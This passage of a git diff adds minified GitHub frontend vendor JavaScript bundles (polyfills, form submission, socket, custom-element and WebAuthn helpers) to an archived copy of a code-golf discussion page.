n=this.signatures.get(t);this.signatures.delete(t),e.push(n)}return e}topics(){return this.signatures.values()}topic(v){return this.signatures.get(v)||null}subscribers(v){return this.subscriptions.get(v).values()}}i(_,"SubscriptionSet")},72993:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h,v){this.name=h,this.signed=v,this.offset=""}static parse(h){const[v,e]=h.split("--");if(!v||!e)return null;const o=JSON.parse(atob(v));return!o.c||!o.t?null:new b(o.c,h)}}i(b,"Topic")},50232:(N,M,E)=>{"use strict";E.d(M,{nn:()=>ue,Gb:()=>ae});function b(L){const j=new AbortController;return j.abort(L),j.signal}i(b,"abortsignal_abort_abortSignalAbort");function _(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}i(_,"isSupported");function h(){return AbortSignal.abort===b}i(h,"isPolyfilled");function v(){_()||(AbortSignal.abort=b)}i(v,"apply");function e(L){const j=new AbortController;return setTimeout(()=>j.abort(new DOMException("TimeoutError")),L),j.signal}i(e,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}i(o,"abortsignal_timeout_isSupported");function t(){return AbortSignal.timeout===e}i(t,"abortsignal_timeout_isPolyfilled");function n(){o()||(AbortSignal.timeout=e)}i(n,"abortsignal_timeout_apply");class r extends Error{constructor(j,W,K={}){super(W);Object.defineProperty(this,"errors",{value:Array.from(j),configurable:!0,writable:!0}),K.cause&&Object.defineProperty(this,"cause",{value:K.cause,configurable:!0,writable:!0})}}i(r,"AggregateError");function l(){return typeof globalThis.AggregateError=="function"}i(l,"aggregateerror_isSupported");function u(){return globalThis.AggregateError===r}i(u,"aggregateerror_isPolyfilled");function a(){l()||(globalThis.AggregateError=r)}i(a,"aggregateerror_apply");const s=Reflect.getPrototypeOf(Int8Array)||{};function c(L){const j=this.length;return L=Math.trunc(L)||0,L<0&&(L+=j),L<0||L>=j?void 0:this[L]}i(c,"arrayLikeAt");function m(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in s&&typeof s.at=="function"}i(m,"arraylike_at_isSupported");function d(){return Array.prototype.at===c&&String.prototype.at===c&&s.at===c}i(d,"arraylike_at_isPolyfilled");function p(){if(!m()){const L={value:c,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",L),Object.defineProperty(String.prototype,"at",L),Object.defineProperty(s,"at",L)}}i(p,"arraylike_at_apply");function g(){const L=new Uint32Array(4);crypto.getRandomValues(L);let j=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(W){j++;const K=L[j>>3]>>j%8*4&15;return(W==="x"?K:K&3|8).toString(16)})}i(g,"randomUUID");function w(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}i(w,"crypto_randomuuid_isSupported");function x(){return w()&&crypto.randomUUID===g}i(x,"crypto_randomuuid_isPolyfilled");function I(){w()||(crypto.randomUUID=g)}i(I,"crypto_randomuuid_apply");const $=EventTarget.prototype.addEventListener;function z(L,j,W){if(typeof W=="object"&&"signal"in W&&W.signal instanceof AbortSignal){if(W.signal.aborted)return;$.call(W.signal,"abort",()=>{this.removeEventListener(L,j,W)})}return $.call(this,L,j,W)}i(z,"addEventListenerWithAbortSignal");function X(){let L=!1;const j=i(()=>L=!0,"setSignalSupported");function W(){}i(W,"noop");const K=Object.create({},{signal:{get:j}});try{const V=new EventTarget;return V.addEventListener("test",W,K),V.removeEventListener("test",W,K),L}catch{return L}}i(X,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===z}i(ee,"event_abortsignal_isPolyfilled");function te(){typeof AbortSignal=="function"&&!X()&&(EventTarget.prototype.addEventListener=z)}i(te,"event_abortsignal_apply");const ne=Object.prototype.hasOwnProperty;function P(L,j){if(L==null)throw new TypeError("Cannot convert undefined or null to object");return ne.call(Object(L),j)}i(P,"object_hasown_objectHasOwn");function T(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}i(T,"object_hasown_isSupported");function A(){return Object.hasOwn===P}i(A,"object_hasown_isPolyfilled");function R(){T()||Object.defineProperty(Object,"hasOwn",{value:P,configurable:!0,writable:!0})}i(R,"object_hasown_apply");function S(L){return new Promise((j,W)=>{let K=!1;const V=Array.from(L),oe=[];function f(k){K||(K=!0,j(k))}i(f,"resolveOne");function y(k){oe.push(k),oe.length===V.length&&W(new globalThis.AggregateError(oe,"All Promises rejected"))}i(y,"rejectIfDone");for(const k of V)Promise.resolve(k).then(f,y)})}i(S,"promise_any_promiseAny");function F(){return"any"in Promise&&typeof Promise.any=="function"}i(F,"promise_any_isSupported");function D(){return Promise.all===S}i(D,"promise_any_isPolyfilled");function U(){F()||(Promise.any=S)}i(U,"promise_any_apply");const H=50;function B(L,j={}){const W=Date.now(),K=j.timeout||0,V=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,H-(Date.now()-W))}},"didTimeout",{get(){return Date.now()-W>K}});return window.setTimeout(()=>{L(V)})}i(B,"requestidlecallback_requestIdleCallback");function re(L){clearTimeout(L)}i(re,"cancelIdleCallback");function G(){return typeof globalThis.requestIdleCallback=="function"}i(G,"requestidlecallback_isSupported");function ce(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===re}i(ce,"requestidlecallback_isPolyfilled");function ie(){G()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=re)}i(ie,"requestidlecallback_apply");const le=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function ae(){return le&&_()&&o()&&l()&&m()&&w()&&X()&&T()&&F()&&G()}i(ae,"lib_isSupported");function de(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}i(de,"lib_isPolyfilled");function ue(){v(),n(),a(),p(),I(),te(),R(),U(),ie()}i(ue,"lib_apply")},58797:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});function b(_){let h=!1,v=null;_.addEventListener("mousedown",n),_.addEventListener("change",o);function e(u,a,s,c=!1){a instanceof HTMLInputElement&&(a.indeterminate=c,a.checked!==s&&(a.checked=s,setTimeout(()=>{const m=new CustomEvent("change",{bubbles:!0,cancelable:!1,detail:{relatedTarget:u}});a.dispatchEvent(m)})))}i(e,"setChecked");function o(u){const a=u.target;a instanceof Element&&(a.hasAttribute("data-check-all")?t(u):a.hasAttribute("data-check-all-item")&&r(u))}i(o,"onChange");function t(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:s}=u.detail;if(s&&s.hasAttribute("data-check-all-item"))return}const a=u.target;if(a instanceof HTMLInputElement){v=null;for(const s of _.querySelectorAll("[data-check-all-item]"))e(a,s,a.checked);a.indeterminate=!1,l()}}i(t,"onCheckAll");function n(u){if(!(u.target instanceof Element))return;(u.target instanceof HTMLLabelElement&&u.target.control||u.target).hasAttribute("data-check-all-item")&&(h=u.shiftKey)}i(n,"onMouseDown");function r(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:m}=u.detail;if(m&&(m.hasAttribute("data-check-all")||m.hasAttribute("data-check-all-item")))return}const a=u.target;if(!(a instanceof HTMLInputElement))return;const s=Array.from(_.querySelectorAll("[data-check-all-item]"));if(h&&v){const[m,d]=[s.indexOf(v),s.indexOf(a)].sort();for(const p of s.slice(m,+d+1||9e9))e(a,p,a.checked)}h=!1,v=a;const c=_.querySelector("[data-check-all]");if(c){const m=s.length,d=s.filter(w=>w instanceof HTMLInputElement&&w.checked).length,p=d===m,g=m>d&&d>0;e(a,c,p,g)}l()}i(r,"onCheckAllItem");function l(){const u=_.querySelector("[data-check-all-count]");if(u){const a=_.querySelectorAll("[data-check-all-item]:checked").length;u.textContent=a.toString()}}return i(l,"updateCount"),{unsubscribe:()=>{_.removeEventListener("mousedown",n),_.removeEventListener("change",o)}}}i(b,"subscribe")},15205:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(...h){return JSON.stringify(h,(v,e)=>typeof e=="object"?e:String(e))}i(b,"defaultHash");function _(h,v={}){const{hash:e=b,cache:o=new Map}=v;return function(...t){const n=e.apply(this,t);if(o.has(n))return o.get(n);let r=h.apply(this,t);return r instanceof Promise&&(r=r.catch(l=>{throw o.delete(n),l})),o.set(n,r),r}}i(_,"memoize")},61268:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h){if(this.map=new Map,h)for(const[v,e]of h)this.set(v,e)}get(h){const v=this.map.get(h);return v||new Set}set(h,v){let e=this.map.get(h);return e||(e=new Set,this.map.set(h,e)),e.add(v),this}has(h){return this.map.has(h)}delete(h,v){const e=this.map.get(h);if(!e)return!1;if(!v)return this.map.delete(h);const o=e.delete(v);return e.size||this.map.delete(h),o}drain(h){const v=[];for(const e of this.keys())this.delete(e,h)&&!this.has(e)&&v.push(e);return v}keys(){return this.map.keys()}values(){return this.map.values()}entries(){return this.map.entries()}[Symbol.iterator](){return this.entries()}clear(){this.map.clear()}get size(){return this.map.size}}i(b,"MultiMap")},16544:(N,M,E)=>{"use strict";E.d(M,{Oo:()=>l});async function b(d,p){let g;const w=new Promise((x,I)=>{g=self.setTimeout(()=>I(new Error("timeout")),d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(b,"timeout");async function _(d,p){let g;const w=new Promise(x=>{g=self.setTimeout(x,d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(_,"wait");async function h(d,p,g=1/0,w){const x=w?v(w):null;for(let I=0;I{const w=new Error("aborted");w.name="AbortError",d.aborted?g(w):d.addEventListener("abort",()=>g(w))})}i(v,"whenAborted");function e(d){return Math.floor(Math.random()*Math.floor(d))}i(e,"rand");async function o(d,p,g){const w=new WebSocket(d),x=r(w);try{return await Promise.race([x,b(p,g)]),w}catch(I){throw t(x),I}}i(o,"connect");async function t(d){try{(await d).close()}catch{}}i(t,"shutdown");function n(d,p){return h(i(()=>o(d,p.timeout,p.signal),"fn"),p.attempts,p.maxDelay,p.signal)}i(n,"connectWithRetry");function r(d){return new Promise((p,g)=>{d.readyState===WebSocket.OPEN?p(d):(d.onerror=()=>{d.onerror=null,d.onopen=null,g(new Error("connect failed"))},d.onopen=()=>{d.onerror=null,d.onopen=null,p(d)})})}i(r,"whenOpen");class l{constructor(p,g,w){this.socket=null,this.opening=null,this.url=p,this.delegate=g,this.policy=w}async open(){if(this.opening||this.socket)return;this.opening=new AbortController;const p=Object.assign(Object.assign({},this.policy),{signal:this.opening.signal});try{this.socket=await n(this.url,p)}catch{this.delegate.socketDidFinish(this);return}finally{this.opening=null}this.socket.onclose=g=>{this.socket=null,this.delegate.socketDidClose(this,g.code,g.reason),(this.delegate.socketShouldRetry?!this.delegate.socketShouldRetry(this,g.code):a(g.code))?this.delegate.socketDidFinish(this):setTimeout(()=>this.open(),u(100,100+(this.delegate.reconnectWindow||50)))},this.socket.onmessage=g=>{this.delegate.socketDidReceiveMessage(this,g.data)},this.delegate.socketDidOpen(this)}close(p,g){this.opening?(this.opening.abort(),this.opening=null):this.socket&&(this.socket.onclose=null,this.socket.close(p,g),this.socket=null,this.delegate.socketDidClose(this,p,g),this.delegate.socketDidFinish(this))}send(p){this.socket&&this.socket.send(p)}isOpen(){return!!this.socket}}i(l,"StableSocket");function u(d,p){return Math.random()*(p-d)+d}i(u,"rand$1");function a(d){return d===s||d===c}i(a,"isFatal");const s=1008,c=1011;class m{constructor(p){this.buf=[],this.socket=p,this.delegate=p.delegate,p.delegate=this}open(){return this.socket.open()}close(p,g){this.socket.close(p,g)}send(p){this.socket.isOpen()?(this.flush(),this.socket.send(p)):this.buf.push(p)}isOpen(){return this.socket.isOpen()}flush(){for(const p of this.buf)this.socket.send(p);this.buf.length=0}socketDidOpen(p){this.flush(),this.delegate.socketDidOpen(p)}socketDidClose(p,g,w){this.delegate.socketDidClose(p,g,w)}socketDidFinish(p){this.delegate.socketDidFinish(p)}socketDidReceiveMessage(p,g){this.delegate.socketDidReceiveMessage(p,g)}socketShouldRetry(p,g){return this.delegate.socketShouldRetry?this.delegate.socketShouldRetry(p,g):!a(g)}}i(m,"BufferedSocket")},89900:(N,M,E)=>{"use strict";E.d(M,{Z:()=>v});const b=["direction","boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize","MozTabSize"],h=typeof window!="undefined"&&window.mozInnerScreenX!=null;function v(e,o,t){const n=t&&t.debug||!1;if(n){const m=document.querySelector("#input-textarea-caret-position-mirror-div");m&&m.parentNode.removeChild(m)}const r=document.createElement("div");r.id="input-textarea-caret-position-mirror-div",document.body.appendChild(r);const l=r.style,u=window.getComputedStyle?window.getComputedStyle(e):e.currentStyle,a=e.nodeName==="INPUT";l.whiteSpace="pre-wrap",a||(l.wordWrap="break-word"),l.position="absolute",n||(l.visibility="hidden");for(const m of b)if(a&&m==="lineHeight")if(u.boxSizing==="border-box"){const d=parseInt(u.height),p=parseInt(u.paddingTop)+parseInt(u.paddingBottom)+parseInt(u.borderTopWidth)+parseInt(u.borderBottomWidth),g=p+parseInt(u.lineHeight);d>g?l.lineHeight=`${d-p}px`:d===g?l.lineHeight=u.lineHeight:l.lineHeight=0}else l.lineHeight=u.height;else if(!a&&m==="width"&&u.boxSizing==="border-box"){let d=parseFloat(u.borderLeftWidth)+parseFloat(u.borderRightWidth),p=h?parseFloat(u[m])-d:e.clientWidth+d;l[m]=`${p}px`}else l[m]=u[m];h?e.scrollHeight>parseInt(u.height)&&(l.overflowY="scroll"):l.overflow="hidden",r.textContent=e.value.substring(0,o),a&&(r.textContent=r.textContent.replace(/\s/g,"\xA0"));const s=document.createElement("span");s.textContent=e.value.substring(o)||".",r.appendChild(s);const c={top:s.offsetTop+parseInt(u.borderTopWidth),left:s.offsetLeft+parseInt(u.borderLeftWidth),height:parseInt(u.lineHeight)};return n?s.style.backgroundColor="#aaa":document.body.removeChild(r),c}i(v,"getCaretCoordinates")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-40f081c90ea1.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js new file mode 100644 index 0000000..7337406 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var j=Object.defineProperty;var n=(M,C)=>j(M,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3"],{65935:(M,C,$)=>{$.d(C,{AC:()=>T,rK:()=>S,uT:()=>f});function _(s,r){const c=s.createElement("template");return c.innerHTML=r,s.importNode(c.content,!0)}n(_,"parseHTML");function x(s){const r=new URLSearchParams,c=new FormData(s).entries();for(const[b,h]of[...c])r.append(b,h.toString());return r.toString()}n(x,"serialize");class i extends Error{constructor(r,c){super(r);this.response=c}}n(i,"ErrorWithResponse");function g(){let s,r;return[new Promise(function(b,h){s=b,r=h}),s,r]}n(g,"makeDeferred");let m;const v=[],d=[];function f(s){v.push(s)}n(f,"afterRemote");function S(s){d.push(s)}n(S,"beforeRemote");function T(s,r){m||(m=new Map,document.addEventListener("submit",O));const c=m.get(s)||[];m.set(s,[...c,r])}n(T,"remoteForm");function q(s,r){if(m){const c=m.get(s)||[];m.set(s,c.filter(b=>b!==r))}}n(q,"remoteUninstall");function N(s){const r=[];for(const c of m.keys())if(s.matches(c)){const b=m.get(c)||[];r.push(...b)}return r}n(N,"getMatches");function O(s){if(!(s.target instanceof HTMLFormElement)||s.defaultPrevented)return;const r=s.target,c=N(r);if(c.length===0)return;const b=P(r),[h,A,E]=g();s.preventDefault(),L(c,r,b,h).then(async a=>{if(a){for(const l of d)await l(r);R(b).then(A,E).catch(()=>{}).then(()=>{for(const l of v)l(r)})}else r.submit()},a=>{r.submit(),setTimeout(()=>{throw a})})}n(O,"handleSubmit");async function L(s,r,c,b){let h=!1;for(const A of s){const[E,a]=g(),l=n(()=>(h=!0,a(),b),"kick"),w={text:l,json:()=>(c.headers.set("Accept","application/json"),l()),html:()=>(c.headers.set("Accept","text/html"),l())};await Promise.race([E,A(r,w,c)])}return h}n(L,"processHandlers");function P(s){const r={method:s.method||"GET",url:s.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(r.method.toUpperCase()==="GET"){const c=x(s);c&&(r.url+=(~r.url.indexOf("?")?"&":"?")+c)}else r.body=new FormData(s);return r}n(P,"buildRequest");async function R(s){const r=await window.fetch(s.url,{method:s.method,body:s.body!==null?s.body:void 0,headers:s.headers,credentials:"same-origin"}),c={url:r.url,status:r.status,statusText:r.statusText,headers:r.headers,text:"",get json(){const h=this,A=JSON.parse(h.text);return delete h.json,h.json=A,h.json},get html(){const h=this;return delete h.html,h.html=_(document,h.text),h.html}},b=await r.text();if(c.text=b,r.ok)return c;throw new i("request failed",c)}n(R,"remoteSubmit")},90420:(M,C,$)=>{$.d(C,{Lj:()=>s,Ih:()=>w,fA:()=>N,GO:()=>O});const _=new WeakSet;function x(e){_.add(e),e.shadowRoot&&i(e.shadowRoot),v(e),m(e.ownerDocument)}n(x,"bind");function i(e){v(e),m(e)}n(i,"bindShadow");const g=new WeakMap;function m(e=document){if(g.has(e))return g.get(e);let t=!1;const o=new MutationObserver(p=>{for(const y of p)if(y.type==="attributes"&&y.target instanceof Element)S(y.target);else if(y.type==="childList"&&y.addedNodes.length)for(const k of y.addedNodes)k instanceof Element&&v(k)});o.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const u={get closed(){return t},unsubscribe(){t=!0,g.delete(e),o.disconnect()}};return g.set(e,u),u}n(m,"listenForBind");function v(e){for(const t of e.querySelectorAll("[data-action]"))S(t);e instanceof Element&&e.hasAttribute("data-action")&&S(e)}n(v,"bindElements");function d(e){const t=e.currentTarget;for(const o of f(t))if(e.type===o.type){const u=t.closest(o.tag);_.has(u)&&typeof u[o.method]=="function"&&u[o.method](e);const p=t.getRootNode();if(p instanceof ShadowRoot&&_.has(p.host)&&p.host.matches(o.tag)){const y=p.host;typeof y[o.method]=="function"&&y[o.method](e)}}}n(d,"handleEvent");function*f(e){for(const t of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const o=t.lastIndexOf(":"),u=Math.max(0,t.lastIndexOf("#"))||t.length;yield{type:t.slice(0,o),tag:t.slice(o+1,u),method:t.slice(u+1)||"handleEvent"}}}n(f,"bindings");function S(e){for(const t of f(e))e.addEventListener(t.type,d)}n(S,"bindActions");function T(e,t){const o=e.tagName.toLowerCase();if(e.shadowRoot){for(const u of e.shadowRoot.querySelectorAll(`[data-target~="${o}.${t}"]`))if(!u.closest(o))return u}for(const u of e.querySelectorAll(`[data-target~="${o}.${t}"]`))if(u.closest(o)===e)return u}n(T,"findTarget");function q(e,t){const o=e.tagName.toLowerCase(),u=[];if(e.shadowRoot)for(const p of e.shadowRoot.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)||u.push(p);for(const p of e.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)===e&&u.push(p);return u}n(q,"findTargets");function N(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return T(this,t)}})}n(N,"target");function O(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return q(this,t)}})}n(O,"targets");function L(e){const t=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(t)||(window[e.name]=e,window.customElements.define(t,e))}n(L,"register");function P(e){for(const t of e.querySelectorAll("template[data-shadowroot]"))t.parentElement===e&&e.attachShadow({mode:t.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(t.content.cloneNode(!0))}n(P,"autoShadowRoot");const R=new WeakMap;function s(e,t){R.has(e)||R.set(e,[]),R.get(e).push(t)}n(s,"attr");function r(e,t){t||(t=c(Object.getPrototypeOf(e)));for(const o of t){const u=e[o],p=b(o);let y={configurable:!0,get(){return this.getAttribute(p)||""},set(k){this.setAttribute(p,k||"")}};typeof u=="number"?y={configurable:!0,get(){return Number(this.getAttribute(p)||0)},set(k){this.setAttribute(p,k)}}:typeof u=="boolean"&&(y={configurable:!0,get(){return this.hasAttribute(p)},set(k){this.toggleAttribute(p,k)}}),Object.defineProperty(e,o,y),o in e&&!e.hasAttribute(p)&&y.set.call(e,u)}}n(r,"initializeAttrs");function c(e){const t=new Set;let o=e;for(;o&&o!==HTMLElement;){const u=R.get(o)||[];for(const p of u)t.add(p);o=Object.getPrototypeOf(o)}return t}n(c,"getAttrNames");function b(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}n(b,"attrToAttributeName");function h(e){let t=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...c(e.prototype)].map(b).concat(t)},set(o){t=o}})}n(h,"defineObservedAttributes");const A=new WeakSet;function E(e,t){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),A.add(e),P(e),r(e),x(e),t&&t.call(e),e.shadowRoot&&i(e.shadowRoot)}n(E,"initializeInstance");function a(e){h(e),L(e)}n(a,"initializeClass");function l(e){return A.has(e)}n(l,"initialized");function w(e){const t=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){E(this,t)},a(e)}n(w,"controller")},70112:(M,C,$)=>{$.d(C,{U2:()=>A,Ue:()=>c,Zh:()=>E});function _(a){const l="==".slice(0,(4-a.length%4)%4),w=a.replace(/-/g,"+").replace(/_/g,"/")+l,e=atob(w),t=new ArrayBuffer(e.length),o=new Uint8Array(t);for(let u=0;um(a,l[0],e));if(l instanceof Object){const e={};for(const[t,o]of Object.entries(l)){if(o.derive){const u=o.derive(w);u!==void 0&&(w[t]=u)}if(!(t in w)){if(o.required)throw new Error(`Missing key: ${t}`);continue}if(w[t]==null){e[t]=null;continue}e[t]=m(a,o.schema,w[t])}return e}}n(m,"convert");function v(a,l){return{required:!0,schema:a,derive:l}}n(v,"derived");function d(a){return{required:!0,schema:a}}n(d,"required");function f(a){return{required:!1,schema:a}}n(f,"optional");var S={type:d(i),id:d(g),transports:f(i)},T={appid:f(i),appidExclude:f(i),credProps:f(i)},q={appid:f(i),appidExclude:f(i),credProps:f(i)},N={publicKey:d({rp:d(i),user:d({id:d(g),name:d(i),displayName:d(i)}),challenge:d(g),pubKeyCredParams:d(i),timeout:f(i),excludeCredentials:f([S]),authenticatorSelection:f(i),attestation:f(i),extensions:f(T)}),signal:f(i)},O={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),attestationObject:d(g),transports:v(i,a=>{var l;return((l=a.getTransports)==null?void 0:l.call(a))||[]})}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},L={mediation:f(i),publicKey:d({challenge:d(g),timeout:f(i),rpId:f(i),allowCredentials:f([S]),userVerification:f(i),extensions:f(T)}),signal:f(i)},P={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),authenticatorData:d(g),signature:d(g),userHandle:d(g)}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},R={credentialCreationOptions:N,publicKeyCredentialWithAttestation:O,credentialRequestOptions:L,publicKeyCredentialWithAssertion:P};function s(a){return m(_,N,a)}n(s,"createRequestFromJSON");function r(a){return m(x,O,a)}n(r,"createResponseToJSON");async function c(a){const l=await navigator.credentials.create(s(a));return r(l)}n(c,"create");function b(a){return m(_,L,a)}n(b,"getRequestFromJSON");function h(a){return m(x,P,a)}n(h,"getResponseToJSON");async function A(a){const l=await navigator.credentials.get(b(a));return h(l)}n(A,"get");function E(){return!!(navigator.credentials&&navigator.credentials.create&&navigator.credentials.get&&window.PublicKeyCredential)}n(E,"supported")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-74ee89f793c0.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js new file mode 100644 index 0000000..1f9e6eb --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js @@ -0,0 +1,15 @@ +"use strict";(()=>{var R=Object.defineProperty;var c=(F,T)=>R(F,"name",{value:T,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b"],{65935:(F,T,E)=>{E.d(T,{AC:()=>b,rK:()=>p,uT:()=>h});function x(o,e){const n=o.createElement("template");return n.innerHTML=e,o.importNode(n.content,!0)}c(x,"parseHTML");function v(o){const e=new URLSearchParams,n=new FormData(o).entries();for(const[i,a]of[...n])e.append(i,a.toString());return e.toString()}c(v,"serialize");class m extends Error{constructor(e,n){super(e);this.response=n}}c(m,"ErrorWithResponse");function _(){let o,e;return[new Promise(function(i,a){o=i,e=a}),o,e]}c(_,"makeDeferred");let f;const g=[],y=[];function h(o){g.push(o)}c(h,"afterRemote");function p(o){y.push(o)}c(p,"beforeRemote");function b(o,e){f||(f=new Map,document.addEventListener("submit",S));const n=f.get(o)||[];f.set(o,[...n,e])}c(b,"remoteForm");function k(o,e){if(f){const n=f.get(o)||[];f.set(o,n.filter(i=>i!==e))}}c(k,"remoteUninstall");function w(o){const e=[];for(const n of f.keys())if(o.matches(n)){const i=f.get(n)||[];e.push(...i)}return e}c(w,"getMatches");function S(o){if(!(o.target instanceof HTMLFormElement)||o.defaultPrevented)return;const e=o.target,n=w(e);if(n.length===0)return;const i=L(e),[a,l,s]=_();o.preventDefault(),P(n,e,i,a).then(async t=>{if(t){for(const r of y)await r(e);N(i).then(l,s).catch(()=>{}).then(()=>{for(const r of g)r(e)})}else e.submit()},t=>{e.submit(),setTimeout(()=>{throw t})})}c(S,"handleSubmit");async function P(o,e,n,i){let a=!1;for(const l of o){const[s,t]=_(),r=c(()=>(a=!0,t(),i),"kick"),u={text:r,json:()=>(n.headers.set("Accept","application/json"),r()),html:()=>(n.headers.set("Accept","text/html"),r())};await Promise.race([s,l(e,u,n)])}return a}c(P,"processHandlers");function L(o){const e={method:o.method||"GET",url:o.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(e.method.toUpperCase()==="GET"){const n=v(o);n&&(e.url+=(~e.url.indexOf("?")?"&":"?")+n)}else e.body=new FormData(o);return e}c(L,"buildRequest");async function N(o){const e=await window.fetch(o.url,{method:o.method,body:o.body!==null?o.body:void 0,headers:o.headers,credentials:"same-origin"}),n={url:e.url,status:e.status,statusText:e.statusText,headers:e.headers,text:"",get json(){const a=this,l=JSON.parse(a.text);return delete a.json,a.json=l,a.json},get html(){const a=this;return delete a.html,a.html=x(document,a.text),a.html}},i=await e.text();if(n.text=i,e.ok)return n;throw new m("request failed",n)}c(N,"remoteSubmit")},41311:(F,T,E)=>{E.d(T,{C:()=>f});var x=E(28356),v=E(36162);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,_=2147483647,f=(0,v.XM)((...g)=>y=>{let h=m.get(y);h===void 0&&(h={lastRenderedIndex:_,values:[]},m.set(y,h));const p=h.values;let b=p.length;h.values=g;for(let k=0;kh.lastRenderedIndex);k++){const w=g[k];if((0,x.pt)(w)||typeof w.then!="function"){y.setValue(w),h.lastRenderedIndex=k;break}k{const P=h.values.indexOf(w);P>-1&&P{E.d(T,{EL:()=>g,N9:()=>N,Tz:()=>o});class x{constructor(n){this.children=[],this.parent=n}delete(n){const i=this.children.indexOf(n);return 